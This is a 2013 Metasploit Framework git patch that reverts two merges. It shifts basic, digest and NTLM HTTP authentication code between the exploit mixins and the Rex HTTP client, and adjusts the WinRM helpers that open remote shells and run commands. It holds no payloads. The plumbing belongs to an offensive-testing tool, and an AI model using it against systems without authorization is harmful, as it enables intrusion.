in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + 23 Jan 13 (tested against msf 16351) --------- - Added helpers to set EXE::Custom and EXE::Template options. From 8ddc19e8421b94995d76f9c9addc7266f119f86e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 20:49:55 -0600 Subject: [PATCH 204/448] Unmerge #1476 and #1444 In that order. #1476 was an attempt to salvage the functionality, but sinn3r found some more bugs. So, undoing that, and undoing #1444 as well. First, do no harm. It's obvious we cannot be making sweeping changes in libraries like this without a minimum of testing available. #1478 starts to address that, by the way. FixRM #7752 --- lib/anemone/rex_http.rb | 4 +- lib/msf/core/auxiliary/crawler.rb | 16 +- lib/msf/core/auxiliary/web/http.rb | 14 +- lib/msf/core/exploit/http/client.rb | 265 +++++++++- lib/msf/core/exploit/mixins.rb | 1 - lib/msf/core/exploit/winrm.rb | 122 ++++- lib/rex/proto/http/client.rb | 490 ++---------------- lib/rex/proto/http/request.rb | 2 - modules/auxiliary/gather/shodan_search.rb | 4 +- .../scanner/http/cisco_device_manager.rb | 4 +- modules/auxiliary/scanner/http/http_login.rb | 196 +++++-- .../scanner/http/tomcat_mgr_login.rb | 10 +- modules/auxiliary/scanner/winrm/winrm_cmd.rb | 4 + .../auxiliary/scanner/winrm/winrm_login.rb | 6 +- modules/auxiliary/scanner/winrm/winrm_wql.rb | 7 +- modules/auxiliary/server/http_ntlmrelay.rb | 3 +- .../linux/http/piranha_passwd_exec.rb | 6 +- modules/exploits/multi/http/axis2_deployer.rb | 4 +- .../exploits/multi/http/jboss_bshdeployer.rb | 3 + .../exploits/multi/http/jboss_maindeployer.rb | 3 + .../exploits/multi/http/tomcat_mgr_deploy.rb | 14 +- .../unix/webapp/oracle_vm_agent_utl.rb | 3 + modules/exploits/windows/http/easyftp_list.rb | 4 +- .../windows/http/xampp_webdav_upload_php.rb | 10 +- .../windows/winrm/winrm_script_exec.rb | 24 +- 25 files changed, 656 insertions(+), 563 deletions(-) diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index f606f289fc..ce6a71a17f 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,9 +188,7 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies], - @opts[:username], - @opts[:password] + @opts[:proxies] ) conn.set_config( diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 86792381ed..36e963ecbc 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -22,9 +22,7 @@ module Auxiliary::HttpCrawler Opt::Proxies, OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), - OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']) + OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]) ], self.class ) @@ -36,6 +34,8 @@ module Auxiliary::HttpCrawler OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests', "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" ]), + OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), + OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), @@ -118,9 +118,8 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['USERNAME'] and datastore['USERNAME'] != '' - t[:username] = datastore['USERNAME'].to_s - t[:password] = datastore['PASSWORD'].to_s + if datastore['BasicAuthUser'] + t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '') end if datastore['HTTPCookie'] @@ -279,8 +278,9 @@ module Auxiliary::HttpCrawler opts[:cookies] = t[:cookies] end - opts[:username] = t[:username] || '' - opts[:password] =t[:password] || '' + if t[:http_basic_auth] + opts[:http_basic_auth] = t[:http_basic_auth] + end opts end diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 03411e286e..a7c8fc86e3 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -10,7 +10,6 @@ require 'uri' module Msf class Auxiliary::Web::HTTP - class Request attr_accessor :url attr_reader :opts @@ -70,7 +69,6 @@ class Auxiliary::Web::HTTP attr_reader :framework attr_accessor :redirect_limit - attr_accessor :username , :password def initialize( opts = {} ) @opts = opts.dup @@ -86,8 +84,8 @@ class Auxiliary::Web::HTTP @request_opts = {} if opts[:auth].is_a? Hash - @username = opts[:auth][:user].to_s - @password = opts[:auth][:password].to_s + @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' + + opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' ) end self.redirect_limit = opts[:redirect_limit] || 20 @@ -107,9 +105,7 @@ class Auxiliary::Web::HTTP opts[:target].port, {}, opts[:target].ssl, - 'SSLv23', - username, - password + 'SSLv23' ) c.set_config({ @@ -300,10 +296,6 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 293a4acd4c..6d0bd9336b 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -37,9 +37,7 @@ module Exploit::Remote::HttpClient Opt::RHOST, Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), - Opt::Proxies, - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + Opt::Proxies ], self.class ) @@ -48,6 +46,10 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), + OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), + OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), + OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']), + OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), @@ -154,9 +156,7 @@ module Exploit::Remote::HttpClient }, dossl, ssl_version, - proxies, - datastore['USERNAME'], - datastore['PASSWORD'] + proxies ) # Configure the HTTP client with the supplied parameter @@ -184,15 +184,7 @@ module Exploit::Remote::HttpClient 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], - 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], - 'domain' => datastore['DOMAIN'], - 'DigestAuthIIS' => datastore['DigestAuthIIS'] + 'header_folding' => datastore['HTTP::header_folding'] ) # If this connection is global, persist it @@ -274,10 +266,6 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -289,8 +277,241 @@ module Exploit::Remote::HttpClient # Combine the user/pass into an auth string for the HTTP Client # def basic_auth - return if not datastore['USERNAME'] - datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') + return if not datastore['BasicAuthUser'] + datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') + end + + # + # Connect to the server, and perform NTLM authentication for this session. + # Note the return value is [resp,c], so the caller can have access to both + # the last response, and the connection itself -- this is important since + # NTLM auth is bound to this particular TCP session. + # + # TODO: Fix up error messaging a lot more -- right now it's pretty hard + # to tell what all went wrong. + # + def send_http_auth_ntlm(opts={}, timeout = 20) + #ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=" + ntlm_options = { + :signing => false, + :usentlm2_session => datastore['NTLM::UseNTLM2_session'], + :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], + :send_lm => datastore['NTLM::SendLM'], + :send_ntlm => datastore['NTLM::SendNTLM'] + } + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = datastore['DOMAIN'] + + ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, + workstation_name, + ntlmssp_flags)) + to = opts[:timeout] || timeout + begin + c = connect(opts) + + # First request to get the challenge + r = c.request_cgi(opts.merge({ + 'uri' => opts['uri'], + 'method' => 'GET', + 'headers' => { 'Authorization' => ntlm_message_1 }})) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + return [nil,nil] if resp.code == 404 + return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] + + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] + return [nil,nil] unless ntlm_challenge + + + #old and simplier method but not compatible with windows 7/2008r2 + #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) + #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) + + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + + spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + + resp_lm, + resp_ntlm, + client_challenge, + ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + + ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], + resp_lm, resp_ntlm, '', ntlmssp_flags) + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + + # Send the response + r = c.request_cgi(opts.merge({ + 'uri' => opts['uri'], + 'method' => 'GET', + 'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}})) + resp = c.send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + return [nil,nil] if resp.code == 404 + return [resp,c] + + rescue ::Errno::EPIPE, ::Timeout::Error + end + end + + def send_digest_request_cgi(opts={}, timeout=20) + @nonce_count = 0 + + return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) + to = opts['timeout'] || timeout + + digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" + digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" + + method = opts['method'] + path = opts['uri'] + iis = true + if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) + iis = false + end + + begin + @nonce_count += 1 + + resp = opts['response'] + + if not resp + # Get authentication-challenge from server, and read out parameters required + c = connect(opts) + r = c.request_cgi(opts.merge({ + 'uri' => path, + 'method' => method })) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + return [nil,nil] if resp.code == 404 + if resp.code != 401 + return resp + end + return [nil,nil] unless resp.headers['WWW-Authenticate'] + end + + # Don't anchor this regex to the beginning of string because header + # folding makes it appear later when the server presents multiple + # WWW-Authentication options (such as is the case with IIS configured + # for Digest or NTLM). + resp['www-authenticate'] =~ /Digest (.*)/ + + parameters = {} + $1.split(/,[[:space:]]*/).each do |p| + k, v = p.split("=", 2) + parameters[k] = v.gsub('"', '') + end + + qop = parameters['qop'] + + if parameters['algorithm'] =~ /(.*?)(-sess)?$/ + algorithm = case $1 + when 'MD5' then Digest::MD5 + when 'SHA1' then Digest::SHA1 + when 'SHA2' then Digest::SHA2 + when 'SHA256' then Digest::SHA256 + when 'SHA384' then Digest::SHA384 + when 'SHA512' then Digest::SHA512 + when 'RMD160' then Digest::RMD160 + else raise Error, "unknown algorithm \"#{$1}\"" + end + algstr = parameters["algorithm"] + sess = $2 + else + algorithm = Digest::MD5 + algstr = "MD5" + sess = false + end + + a1 = if sess then + [ + algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), + parameters['nonce'], + @cnonce + ].join ':' + else + "#{digest_user}:#{parameters['realm']}:#{digest_password}" + end + + ha1 = algorithm.hexdigest(a1) + ha2 = algorithm.hexdigest("#{method}:#{path}") + + request_digest = [ha1, parameters['nonce']] + request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop + request_digest << ha2 + request_digest = request_digest.join ':' + + # Same order as IE7 + auth = [ + "Digest username=\"#{digest_user}\"", + "realm=\"#{parameters['realm']}\"", + "nonce=\"#{parameters['nonce']}\"", + "uri=\"#{path}\"", + "cnonce=\"#{@cnonce}\"", + "nc=#{'%08x' % @nonce_count}", + "algorithm=#{algstr}", + "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", + # The spec says the qop value shouldn't be enclosed in quotes, but + # some versions of IIS require it and Apache accepts it. Chrome + # and Firefox both send it without quotes but IE does it this way. + # Use the non-compliant-but-everybody-does-it to be as compatible + # as possible by default. The user can override if they don't like + # it. + if qop.nil? then + elsif iis then + "qop=\"#{qop}\"" + else + "qop=#{qop}" + end, + if parameters.key? 'opaque' then + "opaque=\"#{parameters['opaque']}\"" + end + ].compact + + headers ={ 'Authorization' => auth.join(', ') } + headers.merge!(opts['headers']) if opts['headers'] + + + # Send main request with authentication + r = c.request_cgi(opts.merge({ + 'uri' => path, + 'method' => method, + 'headers' => headers })) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + + return [resp,c] + + rescue ::Errno::EPIPE, ::Timeout::Error + end end ## @@ -501,4 +722,4 @@ protected end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 6b4db3a54f..0e10f7a5a2 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -94,4 +94,3 @@ require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' - diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 960bff05ce..72b6a1f724 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -42,7 +42,7 @@ module Exploit::Remote::WinRM c = connect(opts) to = opts[:timeout] || timeout ctype = "application/soap+xml;charset=UTF-8" - resp, c = send_winrm_request(opts.merge({ + resp, c = send_request_cgi(opts.merge({ 'uri' => opts['uri'], 'method' => 'POST', 'ctype' => ctype, @@ -61,7 +61,7 @@ module Exploit::Remote::WinRM end def winrm_run_cmd(cmd, timeout=20) - resp = send_winrm_request(winrm_open_shell_msg,timeout) + resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -76,17 +76,17 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) + resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) - resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) - resp = send_winrm_request(winrm_delete_shell_msg(shell_id)) + resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) + resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id)) return streams end def winrm_run_cmd_hanging(cmd, timeout=20) - resp = send_winrm_request(winrm_open_shell_msg,timeout) + resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -101,9 +101,9 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) + resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) return streams end @@ -219,6 +219,98 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end + def send_request_ntlm(data, timeout = 20) + opts = { + 'uri' => datastore['URI'], + 'data' => data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ntlm_options = { + :signing => false, + :usentlm2_session => datastore['NTLM::UseNTLM2_session'], + :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], + :send_lm => datastore['NTLM::SendLM'], + :send_ntlm => datastore['NTLM::SendNTLM'] + } + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = datastore['DOMAIN'] + ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, + workstation_name, + ntlmssp_flags)) + to = opts[:timeout] || timeout + begin + c = connect(opts) + ctype = "application/soap+xml;charset=UTF-8" + # First request to get the challenge + r = c.request_cgi(opts.merge({ + 'uri' => opts['uri'], + 'method' => 'POST', + 'ctype' => ctype, + 'headers' => { 'Authorization' => ntlm_message_1}, + 'data' => opts['data'] + })) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + return [nil,nil] if resp.code == 404 + return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1] + return [nil,nil] unless ntlm_challenge + + #old and simplier method but not compatible with windows 7/2008r2 + #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) + #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + resp_lm, + resp_ntlm, + client_challenge, + ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], + resp_lm, resp_ntlm, '', ntlmssp_flags) + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + # Send the response + r = c.request_cgi(opts.merge({ + 'uri' => opts['uri'], + 'method' => 'POST', + 'ctype' => ctype, + 'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"}, + 'data' => opts['data'] + })) + resp = c.send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return [nil,nil] + end + return [nil,nil] if resp.code == 404 + return [resp,c] + rescue ::Errno::EPIPE, ::Timeout::Error + end + end + + def accepts_ntlm_auth + parse_auth_methods(winrm_poke).include? "Negotiate" + end + def target_url proto = "http" if rport == 5986 or datastore['SSL'] @@ -237,18 +329,6 @@ module Exploit::Remote::WinRM return "/root/cimv2/" end - def send_winrm_request(data, timeout=20) - opts = { - 'uri' => datastore['URI'], - 'method' => 'POST', - 'data' => data, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'ctype' => "application/soap+xml;charset=UTF-8" - } - send_request_cgi(opts,timeout) - end - private diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 75ba1f9574..0572ea02ff 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -2,11 +2,6 @@ require 'rex/socket' require 'rex/proto/http' require 'rex/text' -require 'digest' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' module Rex module Proto @@ -26,15 +21,13 @@ class Client # # Creates a new client instance # - def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '') + def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil) self.hostname = host self.port = port.to_i self.context = context self.ssl = ssl self.ssl_version = ssl_version self.proxies = proxies - self.username = username - self.password = password self.config = { 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, @@ -68,21 +61,7 @@ class Client 'uri_fake_end' => false, # bool 'uri_fake_params_start' => false, # bool 'header_folding' => false, # bool - 'chunked_size' => 0, # integer - # - # NTLM Options - # - 'usentlm2_session' => true, - 'use_ntlmv2' => true, - 'send_lm' => true, - 'send_ntlm' => true, - 'SendSPN' => true, - 'UseLMKey' => false, - 'domain' => 'WORKSTATION', - # - # Digest Options - # - 'DigestAuthIIS' => true + 'chunked_size' => 0 # integer } # This is not used right now... @@ -151,44 +130,27 @@ class Client # # Create an arbitrary HTTP request # - # @param opts [Hash] - # @option opts 'agent' [String] User-Agent header value - # @option opts 'basic_auth' [String] Basic-Auth header value - # @option opts 'connection' [String] Connection header value - # @option opts 'cookie' [String] Cookie header value - # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) - # @option opts 'encode' [Bool] URI encode the supplied URI, default: false - # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } - # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET - # @option opts 'proto' [String] protocol, default: HTTP - # @option opts 'query' [String] raw query string - # @option opts 'raw_headers' [Hash] HTTP headers - # @option opts 'uri' [String] the URI to request - # @option opts 'version' [String] version of the protocol, default: 1.1 - # @option opts 'vhost' [String] Host header value - # - # @return [Request] def request_raw(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] c_enc = opts['encode'] || false - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] || self.hostname + c_uri = opts['uri'] || '/' + c_body = opts['data'] || '' c_meth = opts['method'] || 'GET' c_prot = opts['proto'] || 'HTTP' - c_qs = opts['query'] - c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_uri = opts['uri'] || '/' c_vers = opts['version'] || config['version'] || '1.1' + c_qs = opts['query'] + c_ag = opts['agent'] || config['agent'] + c_cook = opts['cookie'] || config['cookie'] + c_host = opts['vhost'] || config['vhost'] || self.hostname + c_head = opts['headers'] || config['headers'] || {} + c_rawh = opts['raw_headers']|| config['raw_headers'] || '' + c_conn = opts['connection'] + c_auth = opts['basic_auth'] || config['basic_auth'] || '' # An agent parameter was specified, but so was a header, prefer the header if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') c_ag = nil end - + uri = set_uri(c_uri) req = '' @@ -208,10 +170,9 @@ class Client req << set_host_header(c_host) req << set_agent_header(c_ag) + if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end + req << set_basic_auth_header(c_auth) end req << set_cookie_header(c_cook) @@ -220,46 +181,53 @@ class Client req << set_raw_headers(c_rawh) req << set_body(c_body) - request = Request.new - request.parse(req) - request.options = opts - - request + req end # # Create a CGI compatible request # - # @param (see #request_raw) - # @option opts (see #request_raw) - # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+ - # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true - # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string - # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data + # Options: + # - agent: User-Agent header value + # - basic_auth: Basic-Auth header value + # - connection: Connection header value + # - cookie: Cookie header value + # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+ + # - data: HTTP data (only useful with some methods, see rfc2616) + # - encode: URI encode the supplied URI, default: false + # - encode_params: URI encode the GET or POST variables (names and values), default: true + # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" } + # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET + # - proto: protocol, default: HTTP + # - query: raw query string + # - raw_headers: HTTP headers as a hash + # - uri: the URI to request + # - vars_get: GET variables as a hash to be translated into a query string + # - vars_post: POST variables as a hash to be translated into POST data + # - version: version of the protocol, default: 1.1 + # - vhost: Host header value # - # @return [Request] def request_cgi(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_cgi = opts['uri'] || '/' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] c_enc = opts['encode'] || false c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] + c_cgi = opts['uri'] || '/' + c_body = opts['data'] || '' c_meth = opts['method'] || 'GET' - c_path = opts['path_info'] c_prot = opts['proto'] || 'HTTP' + c_vers = opts['version'] || config['version'] || '1.1' c_qs = opts['query'] || '' - c_rawh = opts['raw_headers'] || config['raw_headers'] || '' - c_type = opts['ctype'] || 'application/x-www-form-urlencoded' c_varg = opts['vars_get'] || {} c_varp = opts['vars_post'] || {} - c_vers = opts['version'] || config['version'] || '1.1' - + c_head = opts['headers'] || config['headers'] || {} + c_rawh = opts['raw_headers'] || config['raw_headers'] || '' + c_type = opts['ctype'] || 'application/x-www-form-urlencoded' + c_ag = opts['agent'] || config['agent'] + c_cook = opts['cookie'] || config['cookie'] + c_host = opts['vhost'] || config['vhost'] + c_conn = opts['connection'] + c_path = opts['path_info'] + c_auth = opts['basic_auth'] || config['basic_auth'] || '' uri = set_cgi(c_cgi) qstr = c_qs pstr = c_body @@ -275,7 +243,7 @@ class Client c_varg.each_pair do |var,val| qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) + qstr << (c_enc_p ? set_encode_uri(var) : var) qstr << '=' qstr << (c_enc_p ? set_encode_uri(val) : val) end @@ -317,9 +285,7 @@ class Client req << set_agent_header(c_ag) if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end + req << set_basic_auth_header(c_auth) end req << set_cookie_header(c_cook) @@ -332,19 +298,12 @@ class Client req << set_raw_headers(c_rawh) req << set_body(pstr) - request = Request.new - request.parse(req) - request.options = opts - - request + req 